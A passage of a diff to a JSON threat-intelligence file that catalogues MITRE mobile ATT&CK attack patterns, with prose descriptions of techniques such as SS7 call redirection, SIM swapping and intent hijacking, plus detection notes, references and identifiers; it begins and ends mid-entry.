Used Port - MOB-T1039", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1039" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "3911658a-6506-4deb-9ab4-595a51ae71ad" - }, - { - "description": "An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).\n\nPlatforms: Android, iOS", - "value": "Manipulate App Store Rankings or Ratings - MOB-T1055", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1055" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "76c12fc8-a4eb-45d6-a3b7-e371a7248f69" - }, - { - "description": "An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access calendar information through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS", - "value": "Access Calendar Entries - MOB-T1038", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1038", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "62adb627-f647-498e-b4cc-41499361bacb" - }, - { - "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).\n\nDetection: Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS", - "value": "Remotely Wipe Data Without Authorization - MOB-T1072", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1072", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html", - "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html", - "https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "537ea573-8a1c-468c-956b-d16d2ed9d067" - }, - { - "description": "An adversary could exploit signaling system vulnerabilities to redirect calls or text messages to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. These issues are discussed in (Citation: Engel-SS7), (Citation: Engel-SS7)-2008, (Citation: 3GPP-Security), (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC) (Citation: CSRIC5-WG10-FinalReport).\n\nDetection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC5-WG10-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.\n\nPlatforms: Android, iOS", - "value": "Exploit SS7 to Redirect Phone Calls/SMS - MOB-T1052", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1052", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html", - "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf", - "http://www.3gpp.org/ftp/tsg%20sa/wg3%20security/%20specs/33900-120.pdf", - "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf", - "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d" - }, - { - "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device kernel or other boot partition components, where the code may evade detection, may persist after device resets, and may not be removable by the device user. In some cases (e.g., the Samsung Knox warranty bit as described under Detection), the attack may be detected but could result in the device being placed in a state that no longer allows certain functionality.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes, but doing so introduces the potential ability for others to maliciously update the kernel or other boot partition code.\n\nIf the bootloader is not unlocked, it may still be possible to exploit device vulnerabilities to update the code.\n\nDetection: The Android SafetyNet API's remote attestation capability could potentially be used to identify and respond to compromised devices. Samsung KNOX also provides a remote attestation capability on supported Samsung Android devices.\n\nSamsung KNOX devices include a non-reversible Knox warranty bit fuse that is triggered \"if a non-Knox kernel has been loaded on the device\" (Citation: Samsung-KnoxWarrantyBit). If triggered, enterprise Knox container services will no longer be available on the device.\n\nAs described in the iOS Security Guide (Citation: Apple-iOSSecurityGuide), iOS devices will fail to boot or fail to allow device activation if unauthorized modifications are detected.\n\nMany enterprise applications perform their own checks to detect and respond to compromised devices. These checks are not foolproof but can detect common signs of compromise.\n\nPlatforms: Android, iOS", - "value": "Modify OS Kernel or Boot Partition - MOB-T1001", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1001", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", - "https://www2.samsungknox.com/en/faq/what-knox-warranty-bit-and-how-it-triggered", - "https://www.apple.com/business/docs/iOS%20Security%20Guide.pdf" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5" - }, - { - "description": "A malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions, as demonstrated in a proof of concept created by Skycure (Citation: Skycure-Accessibility).\n\nPlatforms: Android", - "value": "Abuse Accessibility Features - MOB-T1056", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1056", - "https://www.skycure.com/blog/accessibility-clickjacking/" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "2204c371-6100-4ae0-82f3-25c07c29772a" - }, - { - "description": "Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.\n\nFor example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).\n\nPlatforms: Android, iOS", - "value": "Insecure Third-Party Libraries - MOB-T1028", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1028", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html", - "https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "11bd699b-f2c2-4e48-bf46-fb3f8acd9799" - }, - { - "description": "An app could download and execute dynamic code (not included in the original application package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review (Citation: Poeplau-ExecuteThis). \n\nOn Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability (Citation: Bromium-AndroidRCE).\n\nOn iOS, techniques for executing dynamic code downloaded after application installation include JSPatch (Citation: FireEye-JSPatch). (Citation: Wang) et al. describe a related method of constructing malicious logic at app runtime on iOS (Citation: Wang).\n\nPlatforms: Android, iOS", - "value": "Download New Code at Runtime - MOB-T1010", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1010", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-20.html", - "https://www.internetsociety.org/sites/default/files/10%205%200.pdf", - "https://labs.bromium.com/2014/07/31/remote-code-execution-on-android-devices/", - "https://www.fireeye.com/blog/threat-research/2016/01/hot%20or%20not%20the%20bene.html", - "https://www.usenix.org/conference/usenixsecurity13/technical-sessions/presentation/wang%20tielei" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "6c49d50f-494d-4150-b774-a655022d20a6" - }, - { - "description": "An adversary could exploit signaling system vulnerabilities to track the location of mobile devices, for example as described in (Citation: Engel-SS7), (Citation: Engel-SS7)-2008, (Citation: 3GPP-Security) and (Citation: Positive-SS7), as well as in a report from the Communications, Security, Reliability, and Interoperability Council (CSRIC) (Citation: CSRIC5-WG10-FinalReport).\n\nDetection: Network carriers may be able to use firewalls, Intrusion Detection Systems (IDS), or Intrusion Prevention Systems (IPS) to detect and/or block SS7 exploitation as described by the CSRIC (Citation: CSRIC-WG1-FinalReport). The CSRIC also suggests threat information sharing between telecommunications industry members.\n\nPlatforms: Android, iOS", - "value": "Exploit SS7 to Track Device Location - MOB-T1053", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1053", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html", - "https://berlin.ccc.de/~tobias/31c3-ss7-locate-track-manipulate.pdf", - "http://www.3gpp.org/ftp/tsg%20sa/wg3%20security/%20specs/33900-120.pdf", - "https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf", - "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "52651225-0b3a-482d-aa7e-10618fd063b5" - }, - { - "description": "A malicious app can register as a device keyboard and intercept keypresses containing sensitive values such as usernames and passwords. Zeltser (Citation: Zeltser-Keyboard) describes these risks.\n\nBoth iOS and Android require the user to explicitly authorize use of third party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n\nPlatforms: Android, iOS", - "value": "Malicious Third Party Keyboard App - MOB-T1020", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1020", - "https://zeltser.com/third-party-keyboards-security/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad" - }, - { - "description": "A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.\n\nPlatforms: Android, iOS", - "value": "Exploit OS Vulnerability - MOB-T1007", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1007", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172" - }, - { - "description": "An adversary with control of a target's Google account can use the Google Play Store's remote installation capability to install apps onto the Android devices associated with the Google account as described in (Citation: Oberheide-RemoteInstall), (Citation: Konoth). However, only applications that are available for download through the Google Play Store can be remotely installed using this technique.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted or known insecure or malicious apps on devices.\n\nPlatforms: Android", - "value": "Remotely Install Application - MOB-T1046", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1046", - "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-4.html", - "https://jon.oberheide.org/blog/2010/06/25/remote-kill-and-install-on-google-android/", - "http://www.vvdveen.com/publications/BAndroid.pdf" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "831e3269-da49-48ac-94dc-948008e8fd16" - }, - { - "description": "ART (the Android Runtime) compiles optimized code on the device itself to improve performance. If an adversary can escalate privileges, he or she may be able to use those privileges to modify the cached code in order to hide malicious behavior. Since the code is compiled on the device, it may not receive the same level of integrity checks that are provided to code running in the system partition.\n\nSabanal describes the potential use of this technique in (Citation: Sabanal-ART).\n\nPlatforms: Android", - "value": "Modify cached executable code - MOB-T1006", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1006", - "https://www.blackhat.com/docs/asia-15/materials/asia-15-Sabanal-Hiding-Behind-ART-wp.pdf" - ], - "mitre_platforms": [ - "Android" - ] - }, - "uuid": "88932a8c-3a17-406f-9431-1da3ff19f6d6" - }, - { - "description": "Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.\n\nOn Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.\n\nOn iOS, apps can use private API calls to obtain a list of other apps installed on the device as described by Kurtz (Citation: Kurtz-MaliciousiOSApps), however use of private API calls will likely prevent the application from being distributed through Apple's App Store.\n\nPlatforms: Android, iOS", - "value": "Application Discovery - MOB-T1021", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1021", - "https://developer.android.com/reference/android/content/pm/PackageManager.html", - "https://andreas-kurtz.de/2014/09/malicious-ios-apps/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "198ce408-1470-45ee-b47f-7056050d4fc2" - }, - { - "description": "Techniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lock screen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.\n\nPlatforms: Android, iOS", - "value": "Lockscreen Bypass - MOB-T1064", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1064", - "https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/", - "https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd" - }, - { - "description": "An adversary could convince the mobile network operator (e.g. through social networking or forged identification) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts (Citation: Guardian-Simswap).\n\nPlatforms: Android, iOS", - "value": "SIM Card Swap - MOB-T1054", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1054", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html", - "http://www.dos.ny.gov/consumerprotection/scams/att-sim.html", - "http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/", - "https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "a64a820a-cb21-471f-920c-506a2ff04fa5" - }, - { - "description": "An adversary could use a malicious or exploited application to surreptitiously track the device's physical location through use of standard operating system APIs.\n\nDetection: On both Android (6.0 and up) and iOS, the user can view which applications have permission to access device location through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android, iOS", - "value": "Location Tracking - MOB-T1033", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1033", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "99e6295e-741b-4857-b6e5-64989eb039b4" - }, - { - "description": "If the mobile device is connected (typically via USB) to a charging station or a PC, for example to charge the device's battery, then a compromised or malicious charging station or PC could attempt to exploit the mobile device via the connection.\n\nKrebs described this technique in (Citation: Krebs-JuiceJacking). Lau et al. (Citation: Lau-Mactans) demonstrated the ability to inject malicious applications into an iOS device via USB. Hay (Citation: IBM-NexusUSB) demonstrated the ability to exploit a Nexus 6 or 6P device over USB and then gain the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.\n\nPlatforms: Android, iOS", - "value": "Exploit via Charging Station or PC - MOB-T1061", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1061", - "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html", - "http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/", - "https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf", - "https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "667e5707-3843-4da8-bd34-88b922526f0d" - }, - { - "description": "If network traffic between the mobile device and a remote server is not securely protected, then an attacker positioned on the network may be able to manipulate network communication without being detected. For example, FireEye researchers found in 2014 that 68% of the top 1,000 free applications in the Google Play Store had at least one Transport Layer Security (TLS) implementation vulnerability potentially opening the applications' network traffic to man-in-the-middle attacks (Citation: FireEye-SSL).\n\nPlatforms: Android, iOS", - "value": "Manipulate Device Communication - MOB-T1066", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1066", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html", - "https://www.fireeye.com/blog/threat-research/2014/08/ssl-vulnerabilities-who-listens-when-android-applications-talk.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63" - }, - { - "description": "An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. For example, Ritter and DePerry of iSEC Partners demonstrated this technique using a compromised cellular femtocell at Black Hat USA 2013 (Citation: Computerworld-Femtocell).\n\nPlatforms: Android, iOS", - "value": "Rogue Cellular Base Station - MOB-T1070", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1070", - "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", - "http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed" - }, - { - "description": "An adversary could download a legitimate app, disassemble it, add malicious code, and then reassemble the app, for example as described by (Citation: Zhou) and Jiang in (Citation: Zhou). The app would appear to be the original app but contain additional malicious functionality. The adversary could then publish this app to app stores or use another delivery technique.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices.\n\nPlatforms: Android, iOS", - "value": "Repackaged Application - MOB-T1047", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1047", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html", - "http://ieeexplore.ieee.org/document/6234407" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f" - }, - { - "description": "An adversary may seek to lock the legitimate user out of the device, for example until a ransom is paid.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to lock the user out of the device.\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been demonstrated that can lock the user out of the device (Citation: KeyRaider).\n\nPlatforms: Android, iOS", - "value": "Lock User Out of Device - MOB-T1049", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1049", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html", - "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1" - }, - { - "description": "As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.\n\nDetection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.\n\nPlatforms: Android, iOS", - "value": "Malicious Software Development Tools - MOB-T1065", - "meta": { - "refs": [ - "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1065", - "http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/" - ], - "mitre_platforms": [ - "Android", - "iOS" - ] - }, - "uuid": "b928b94a-4966-4e2a-9e61-36505b896ebc" - } - ] -} + "name": "Mobile Attack - Attack Pattern", + "type": "mitre-mobile-attack-attack-pattern", + "description": "ATT&CK tactic", + "version": 3, + "source": "https://github.com/mitre/cti", + "uuid": "1e606d06-1708-11e8-8a43-df11c8cf9ae2", + "authors": [ + "MITRE" + ], + "values": [ + { + "description": "An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).\n\nAn SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.\n\nAs described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.\n\nPlatforms: Android, iOS", + "value": "Malicious SMS Message - MOB-T1057", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1057", + "http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html", + "https://srlabs.de/bites/rooting-sim-cards/" + ], + "external_id": "MOB-T1057", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:exploit-via-cellular-network" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "0bcc4ec1-a897-49a9-a9ff-c00df1d1209d" + }, + { + "description": "If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication. For example, He et al. (Citation: mHealth) describe numerous healthcare-related applications that did not properly protect network communication.\n\nPlatforms: Android, iOS", + "value": "Eavesdrop on Insecure Network Communication - MOB-T1042", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1042", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html", + "https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps" + ], + "external_id": "APP-1", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:general-network-based" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "393e8c12-a416-4575-ba90-19cc85656796" + }, + { + "description": "An adversary could use knowledge of the techniques used by security software to evade detection. For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection as described by (Citation: Rastogi) et al. (Citation: Rastogi). \n\n (Citation: Brodie) (Citation: Brodie) describes limitations of jailbreak/root detection mechanisms.\n\n (Citation: Tan) (Citation: Tan) describes his experience defeating the jailbreak detection used by the iOS version of Good for Enterprise.\n\nPlatforms: Android, iOS", + "value": "Disguise Root/Jailbreak Indicators - MOB-T1011", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1011", + "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html", + "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf", + "https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf", + "http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions" + ], + "external_id": "EMM-5", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:defense-evasion" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "b332a960-3c04-495a-827f-f17a5daed3a6" + }, + { + "description": "On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.\n\nPlatforms: Android", + "value": "Device Type Discovery - MOB-T1022", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1022", + "https://zeltser.com/third-party-keyboards-security/" + ], + "external_id": "MOB-T1022", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:discovery" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "89fcd02f-62dc-40b9-a54b-9ac4b1baef05" + }, + { + "description": "A malicious app could use standard Android APIs to send SMS messages. SMS messages could potentially be sent to premium numbers that charge the device owner and generate revenue for an adversary, for example as described by Lookout in (Citation: Lookout-SMS).\n\nOn iOS, apps cannot send SMS messages.\n\nOn Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).\n\nDetection: As described in Google's Android Security 2014 Year in Review Report (Citation: AndroidSecurity2014), starting with Android 4.2 the user is prompted and must provide consent before applications can send SMS messages to premium numbers.\n\nOn Android 6.0 and up, the user can view which applications have permission to send SMS messages through the device settings screen, and the user can choose to revoke the permissions.\n\nPlatforms: Android", + "value": "Premium SMS Toll Fraud - MOB-T1051", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1051", + "https://blog.lookout.com/blog/2013/08/02/dragon-lady/", + "https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google%20Android%20Security%202014%20Report%20Final.pdf" + ], + "external_id": "MOB-T1051", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:effects" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274" + }, + { + "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud backup services (e.g. Google's Android backup service or Apple's iCloud) could use that access to obtain sensitive data stored in device backups. For example, the Elcomsoft Phone Breaker product advertises the ability to retrieve iOS backup data from Apple's iCloud (Citation: Elcomsoft-EPPB).\n\nDetection: Google provides the ability for users to view their account activity. Apple iCloud also provides notifications to users of account activity.\n\nPlatforms: Android, iOS", + "value": "Obtain Device Cloud Backups - MOB-T1073", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1073", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-0.html", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-1.html", + "https://www.elcomsoft.com/eppb.html" + ], + "external_id": "ECO-1", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:cloud-based" + ], + "mitre_platforms": [ + "Android", + "iOS" + ] + }, + "uuid": "0c71033e-401e-4b97-9309-7a7c95e43a5d" + }, + { + "description": "On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.\n\nPlatforms: Android", + "value": "Access Sensitive Data in Device Logs - MOB-T1016", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1016", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" + ], + "external_id": "APP-13", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:collection", + "mitre-mobile-attack:enterprise-attack:credential-access" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3" + }, + { + "description": "With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC. Wang and Stavrou (Citation: Wang-ExploitingUSB) and Kamkar (Citation: ArsTechnica-PoisonTap) describe this technique. This technique has been demonstrated on Android, and we are unaware of any demonstrations on iOS.\n\nPlatforms: Android", + "value": "Attack PC via USB Connection - MOB-T1030", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1030", + "https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html", + "http://dl.acm.org/citation.cfm?id=1920314", + "http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/" + ], + "external_id": "PHY-2", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:lateral-movement" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "a0464539-e1b7-4455-a355-12495987c300" + }, + { + "description": "A malicious app can register to receive intents meant for other applications and may then be able to receive sensitive values such as OAuth authorization codes as described in (Citation: IETF-PKCE).\n\nPlatforms: Android", + "value": "Android Intent Hijacking - MOB-T1019", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1019", + "https://tools.ietf.org/html/rfc7636" + ], + "external_id": "MOB-T1019", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:credential-access" + ], + "mitre_platforms": [ + "Android" + ] + }, + "uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58" + }, + { + "description": "An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application. This technique, for example, could be used to capture OAuth authorization codes as described in (Citation: IETF-PKCE) or to phish user credentials as described in (Citation: MobileIron-XARA). Related potential security implications are described in (Citation: Dhanjani-URLScheme). FireEye researchers describe URL scheme hijacking in a blog post (Citation: FireEye-Masque2), including evidence of its use.\n\nPlatforms: iOS", + "value": "URL Scheme Hijacking - MOB-T1018", + "meta": { + "refs": [ + "https://attack.mitre.org/mobile/index.php/Technique/MOB-T1018", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-10.html", + "https://tools.ietf.org/html/rfc7636", + "https://www.mobileiron.com/en/smartwork-blog/ios-url-scheme-hijacking-xara-attack-analysis-and-countermeasures", + "http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html", + "https://www.fireeye.com/blog/threat-research/2015/02/ios%20masque%20attackre.html" + ], + "external_id": "AUT-10", + "kill_chain": [ + "mitre-mobile-attack:enterprise-attack:credential-access" + ], + "mitre_platforms": [ + "iOS" + 